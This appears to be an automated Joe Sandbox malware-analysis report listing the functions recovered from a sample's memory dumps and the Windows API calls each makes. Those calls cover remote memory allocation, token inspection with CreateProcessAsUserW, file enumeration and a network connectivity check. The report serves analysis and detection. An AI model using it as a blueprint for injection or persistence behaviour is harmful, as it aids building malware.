    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00420C2C, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
    APIs
    • PFXImportCertStore.CRYPT32(?,?,?), ref: 00420C45
      • Part of subcall function 0040803E: WaitForSingleObject.KERNEL32(00000000,0040A714), ref: 00408046
    • GetSystemTime.KERNEL32(?), ref: 00420C91
      • Part of subcall function 00420A0E: GetUserNameExW.SECUR32(00000002,?,?,00000000,?,?,00420B63,?,?,00000004,00000000,00000000,00000004,?,00000004,?), ref: 00420A23
      • Part of subcall function 00418E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00418EB4
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0042626B, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95
    APIs
      • Part of subcall function 004260BE: GetModuleHandleA.KERNEL32(?), ref: 004260DC
      • Part of subcall function 004260BE: GetModuleHandleA.KERNEL32(?), ref: 004260FB
      • Part of subcall function 004260BE: GetFileVersionInfoSizeA.VERSION(?,00000000), ref: 00426106
      • Part of subcall function 004260BE: GetFileVersionInfoA.VERSION(?,00000000), ref: 00426125
      • Part of subcall function 004260BE: VerQueryValueA.VERSION(?,00407250,00000000,00000000), ref: 00426145
    • CoCreateInstance.OLE32(0043245C,00000000,00000001,00401670,?), ref: 004262C1
      • Part of subcall function 00426166: GetModuleHandleA.KERNEL32(?), ref: 00426181
      • Part of subcall function 00426166: VirtualQuery.KERNEL32(?,?,0000001C), ref: 0042619F
      • Part of subcall function 00426166: VirtualQuery.KERNEL32(?,?,0000001C), ref: 004261AD
      • Part of subcall function 00426166: IsBadReadPtr.KERNEL32(?,00000010), ref: 0042623C
    • CoCreateInstance.OLE32(0043246C,00000000,00000001,00401660,?), ref: 00426337
      • Part of subcall function 00425E00: VirtualAllocEx.KERNEL32(000000FF,00000000,?,00003000,00000040), ref: 00425E37
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 004089DC, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 94
    APIs
    • CloseClipboard.USER32 ref: 004089DC
    • MapAndLoad.IMAGEHLP(o5gHO2q0,y6L1D,0012FE18,00000000,00000000), ref: 00408D42
    • MapAndLoad.IMAGEHLP(aW8A049,nPI31,0012FE18,00000000,00000000), ref: 00408E50
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00408F3C
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00408FDE
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,0012FE18,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BC29C7, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 93
    APIs
    • CoCreateInstance.OLE32(00BA7228,00000000,00004401,00BA7238,?), ref: 00BC29F7
    • CoCreateInstance.OLE32(00BA71F8,00000000,00004401,00BA7208,?), ref: 00BC2A4A
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 004229C7, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 93
    APIs
    • CoCreateInstance.OLE32(00407228,00000000,00004401,00407238,?), ref: 004229F7
    • CoCreateInstance.OLE32(004071F8,00000000,00004401,00407208,?), ref: 00422A4A
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00408A5F, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 71
    APIs
    • LoadIconW.USER32 ref: 00408A5F
    • MapAndLoad.IMAGEHLP(o5gHO2q0,y6L1D,0012FE18,00000000,00000000), ref: 00408D42
    • MapAndLoad.IMAGEHLP(aW8A049,nPI31,0012FE18,00000000,00000000), ref: 00408E50
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00408F3C
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00408FDE
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,0012FE18,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BBCB9A, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67
    APIs
    • StringFromGUID2.OLE32(?,00000064,00000028), ref: 00BBCC37
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0041CB9A, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67
    APIs
    • StringFromGUID2.OLE32(?,00000064,00000028), ref: 0041CC37
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BC4779, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 56
    APIs
    • SHGetFolderPathW.SHELL32(00000000,00000026,00000000,00000000,?), ref: 00BC47C7
      • Part of subcall function 00BBDD7A: FindFirstFileW.KERNEL32(?,?), ref: 00BBDDB9
      • Part of subcall function 00BBDD7A: WaitForSingleObject.KERNEL32(?,00000000), ref: 00BBDDE0
      • Part of subcall function 00BBDD7A: PathMatchSpecW.SHLWAPI(?,?), ref: 00BBDE2A
      • Part of subcall function 00BBDD7A: Sleep.KERNEL32(00000000), ref: 00BBDE57
      • Part of subcall function 00BBDD7A: Sleep.KERNEL32(00000000), ref: 00BBDE87
      • Part of subcall function 00BBDD7A: FindNextFileW.KERNEL32(?,?), ref: 00BBDEB5
      • Part of subcall function 00BBDD7A: FindClose.KERNEL32(?), ref: 00BBDEC7
      • Part of subcall function 00BB8160: HeapFree.KERNEL32(00000000,00000000,00BCC62F,?,?), ref: 00BB8173
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BC5080, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 56
    APIs
    • SHGetFolderPathW.SHELL32(00000000,00000026,00000000,00000000,?), ref: 00BC50CE
      • Part of subcall function 00BBDD7A: FindFirstFileW.KERNEL32(?,?), ref: 00BBDDB9
      • Part of subcall function 00BBDD7A: WaitForSingleObject.KERNEL32(?,00000000), ref: 00BBDDE0
      • Part of subcall function 00BBDD7A: PathMatchSpecW.SHLWAPI(?,?), ref: 00BBDE2A
      • Part of subcall function 00BBDD7A: Sleep.KERNEL32(00000000), ref: 00BBDE57
      • Part of subcall function 00BBDD7A: Sleep.KERNEL32(00000000), ref: 00BBDE87
      • Part of subcall function 00BBDD7A: FindNextFileW.KERNEL32(?,?), ref: 00BBDEB5
      • Part of subcall function 00BBDD7A: FindClose.KERNEL32(?), ref: 00BBDEC7
      • Part of subcall function 00BB8160: HeapFree.KERNEL32(00000000,00000000,00BCC62F,?,?), ref: 00BB8173
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00425080, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 56
    APIs
    • SHGetFolderPathW.SHELL32(00000000,00000026,00000000,00000000,?), ref: 004250CE
      • Part of subcall function 0041DD7A: FindFirstFileW.KERNEL32(?,?), ref: 0041DDB9
      • Part of subcall function 0041DD7A: WaitForSingleObject.KERNEL32(?,00000000), ref: 0041DDE0
      • Part of subcall function 0041DD7A: PathMatchSpecW.SHLWAPI(?,?), ref: 0041DE2A
      • Part of subcall function 0041DD7A: Sleep.KERNEL32(00000000), ref: 0041DE57
      • Part of subcall function 0041DD7A: Sleep.KERNEL32(00000000), ref: 0041DE87
      • Part of subcall function 0041DD7A: FindNextFileW.KERNEL32(?,?), ref: 0041DEB5
      • Part of subcall function 0041DD7A: FindClose.KERNEL32(?), ref: 0041DEC7
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00424779, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 56
    APIs
    • SHGetFolderPathW.SHELL32(00000000,00000026,00000000,00000000,?), ref: 004247C7
      • Part of subcall function 0041DD7A: FindFirstFileW.KERNEL32(?,?), ref: 0041DDB9
      • Part of subcall function 0041DD7A: WaitForSingleObject.KERNEL32(?,00000000), ref: 0041DDE0
      • Part of subcall function 0041DD7A: PathMatchSpecW.SHLWAPI(?,?), ref: 0041DE2A
      • Part of subcall function 0041DD7A: Sleep.KERNEL32(00000000), ref: 0041DE57
      • Part of subcall function 0041DD7A: Sleep.KERNEL32(00000000), ref: 0041DE87
      • Part of subcall function 0041DD7A: FindNextFileW.KERNEL32(?,?), ref: 0041DEB5
      • Part of subcall function 0041DD7A: FindClose.KERNEL32(?), ref: 0041DEC7
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BBC136, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
    APIs
    • GetTempFileNameW.KERNEL32(?,cab,00000000,?), ref: 00BBC158
      • Part of subcall function 00BBD955: SetFileAttributesW.KERNEL32(?,00000080), ref: 00BBD95E
      • Part of subcall function 00BBD955: DeleteFileW.KERNEL32(?), ref: 00BBD968
    • PathFindFileNameW.SHLWAPI(?), ref: 00BBC17B
      • Part of subcall function 00BB82C2: WideCharToMultiByte.KERNEL32(?,00000000,?,?,00000000,?,00000000,00000000), ref: 00BB82DD
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0041C136, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
    APIs
    • GetTempFileNameW.KERNEL32(?,cab,00000000,?), ref: 0041C158
      • Part of subcall function 0041D955: SetFileAttributesW.KERNEL32(?,00000080), ref: 0041D95E
      • Part of subcall function 0041D955: DeleteFileW.KERNEL32(?), ref: 0041D968
    • PathFindFileNameW.SHLWAPI(?), ref: 0041C17B
      • Part of subcall function 004182C2: WideCharToMultiByte.KERNEL32(?,00000000,?,?,00000000,?,00000000,00000000), ref: 004182DD
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BBD9C8, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47
    APIs
    • GetTempPathW.KERNEL32(000000F6,?), ref: 00BBD9DF
      • Part of subcall function 00BB977E: GetTickCount.KERNEL32 ref: 00BB977E
      • Part of subcall function 00BB8E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00BB8EB4
      • Part of subcall function 00BBDED6: PathCombineW.SHLWAPI(?,?,?), ref: 00BBDEF5
      • Part of subcall function 00BBD7AA: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 00BBD7C4
      • Part of subcall function 00BBD7AA: WriteFile.KERNEL32(?,00000000,00000000,00000000,00000000), ref: 00BBD7E7
      • Part of subcall function 00BBD7AA: CloseHandle.KERNEL32 ref: 00BBD7F4
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0041D9C8, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47
    APIs
    • GetTempPathW.KERNEL32(000000F6,?), ref: 0041D9DF
      • Part of subcall function 0041977E: GetTickCount.KERNEL32 ref: 0041977E
      • Part of subcall function 00418E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00418EB4
      • Part of subcall function 0041DED6: PathCombineW.SHLWAPI(?,?,?), ref: 0041DEF5
      • Part of subcall function 0041D7AA: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 0041D7C4
      • Part of subcall function 0041D7AA: WriteFile.KERNEL32(?,00000000,00000000,00000000,00000000), ref: 0041D7E7
      • Part of subcall function 0041D7AA: CloseHandle.KERNEL32 ref: 0041D7F4
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BC690B, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42
    APIs
    • GetFileAttributesExW.KERNEL32(?,?,?), ref: 00BC6970
      • Part of subcall function 00BA803E: WaitForSingleObject.KERNEL32(00000000,00BAA714), ref: 00BA8046
    • VirtualAlloc.KERNEL32(?,00001000,00003000,00000004), ref: 00BC694E
    Strings
    • {B60D3CFB-57EE-51EE-A961-10791936558D}, xrefs: 00BC6933
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BC9E61, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42
    APIs
      • Part of subcall function 00BBBC34: GetTokenInformation.ADVAPI32(00BD2AC0,00000001,00000000,00000000,00BD2F90), ref: 00BBBC4D
      • Part of subcall function 00BBBC34: GetLastError.KERNEL32(?,00000000,?,?,00BB9AD9,00BD2AC0,?,?,?,00BA7CFB,000000FF,00BD2AC0,00BD2F90), ref: 00BBBC53
      • Part of subcall function 00BBBC34: GetTokenInformation.ADVAPI32(00BD2AC0,00000001,?,00BD2F90,00BD2F90), ref: 00BBBC79
    • EqualSid.ADVAPI32(?,?), ref: 00BC9E86
      • Part of subcall function 00BB8160: HeapFree.KERNEL32(00000000,00000000,00BCC62F,?,?), ref: 00BB8173
      • Part of subcall function 00BB9DBF: LoadLibraryA.KERNEL32(userenv.dll), ref: 00BB9DD0
      • Part of subcall function 00BB9DBF: GetProcAddress.KERNEL32(?,CreateEnvironmentBlock), ref: 00BB9DEF
      • Part of subcall function 00BB9DBF: GetProcAddress.KERNEL32(?,DestroyEnvironmentBlock), ref: 00BB9DFB
      • Part of subcall function 00BB9DBF: CreateProcessAsUserW.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00BC9EB5,00000000,?,?), ref: 00BB9E70
      • Part of subcall function 00BB9DBF: CloseHandle.KERNEL32(?), ref: 00BB9E83
      • Part of subcall function 00BB9DBF: CloseHandle.KERNEL32(?), ref: 00BB9E88
      • Part of subcall function 00BB9DBF: FreeLibrary.KERNEL32(?), ref: 00BB9E9F
    • CloseHandle.KERNEL32(?), ref: 00BC9EC7
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0042690B, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42
    APIs
    • GetFileAttributesExW.KERNEL32(?,?,?), ref: 00426970
      • Part of subcall function 0040803E: WaitForSingleObject.KERNEL32(00000000,0040A714), ref: 00408046
    • VirtualAlloc.KERNEL32(?,00001000,00003000,00000004), ref: 0042694E
    Strings
    • {09D7F0E4-9BF1-EE34-A961-10791936558D}, xrefs: 00426933
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00429E61, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42
    APIs
      • Part of subcall function 0041BC34: GetTokenInformation.ADVAPI32(00432AC0,00000001,00000000,00000000,00432F90), ref: 0041BC4D
      • Part of subcall function 0041BC34: GetLastError.KERNEL32(?,00000000,?,?,00419AD9,00432AC0,?,?,?,00407CFB,000000FF,00432AC0,00432F90), ref: 0041BC53
      • Part of subcall function 0041BC34: GetTokenInformation.ADVAPI32(00432AC0,00000001,?,00432F90,00432F90), ref: 0041BC79
    • EqualSid.ADVAPI32(?,?), ref: 00429E86
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
      • Part of subcall function 00419DBF: LoadLibraryA.KERNEL32(userenv.dll), ref: 00419DD0
      • Part of subcall function 00419DBF: GetProcAddress.KERNEL32(?,CreateEnvironmentBlock), ref: 00419DEF
      • Part of subcall function 00419DBF: GetProcAddress.KERNEL32(?,DestroyEnvironmentBlock), ref: 00419DFB
      • Part of subcall function 00419DBF: CreateProcessAsUserW.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00429EB5,00000000,?,?), ref: 00419E70
      • Part of subcall function 00419DBF: CloseHandle.KERNEL32(?), ref: 00419E83
      • Part of subcall function 00419DBF: CloseHandle.KERNEL32(?), ref: 00419E88
      • Part of subcall function 00419DBF: FreeLibrary.KERNEL32(?), ref: 00419E9F
    • CloseHandle.KERNEL32(?), ref: 00429EC7
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BBA5AD, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39
    APIs
      • Part of subcall function 00BBA52D: LoadLibraryA.KERNEL32(urlmon.dll), ref: 00BBA53E
      • Part of subcall function 00BBA52D: GetProcAddress.KERNEL32(?,ObtainUserAgentString), ref: 00BBA551
      • Part of subcall function 00BBA52D: FreeLibrary.KERNEL32(?), ref: 00BBA5A2
    • GetTickCount.KERNEL32 ref: 00BBA5F2
      • Part of subcall function 00BBA3FB: WaitForSingleObject.KERNEL32(?,?), ref: 00BBA44F
      • Part of subcall function 00BBA3FB: Sleep.KERNEL32(?), ref: 00BBA462
      • Part of subcall function 00BBA3FB: InternetCloseHandle.WININET ref: 00BBA4E8
    • GetTickCount.KERNEL32 ref: 00BBA604
      • Part of subcall function 00BB8160: HeapFree.KERNEL32(00000000,00000000,00BCC62F,?,?), ref: 00BB8173
    Strings
    • http://www.google.com/webhp, xrefs: 00BBA5D2
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0041A5AD, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39
    APIs
      • Part of subcall function 0041A52D: LoadLibraryA.KERNEL32(urlmon.dll), ref: 0041A53E
      • Part of subcall function 0041A52D: GetProcAddress.KERNEL32(?,ObtainUserAgentString), ref: 0041A551
      • Part of subcall function 0041A52D: FreeLibrary.KERNEL32(?), ref: 0041A5A2
    • GetTickCount.KERNEL32 ref: 0041A5F2
      • Part of subcall function 0041A3FB: WaitForSingleObject.KERNEL32(?,?), ref: 0041A44F
      • Part of subcall function 0041A3FB: Sleep.KERNEL32(?), ref: 0041A462
      • Part of subcall function 0041A3FB: InternetCloseHandle.WININET ref: 0041A4E8
    • GetTickCount.KERNEL32 ref: 0041A604
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    Strings
    • http://www.google.com/webhp, xrefs: 0041A5D2
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00409FD4, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34
    APIs
    • ReleaseDC.USER32 ref: 00409FE2
    • IsBadStringPtrW.KERNEL32(?,00000201), ref: 0040A097
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00408EED, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33
    APIs
    • CloseHandle.KERNEL32 ref: 00408EED
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00408F3C
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00408FDE
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,0012FE18,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040F501, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28
    APIs
    • MapAndLoad.IMAGEHLP(sV0,WvM,?,00000000,00000000), ref: 0040F53C
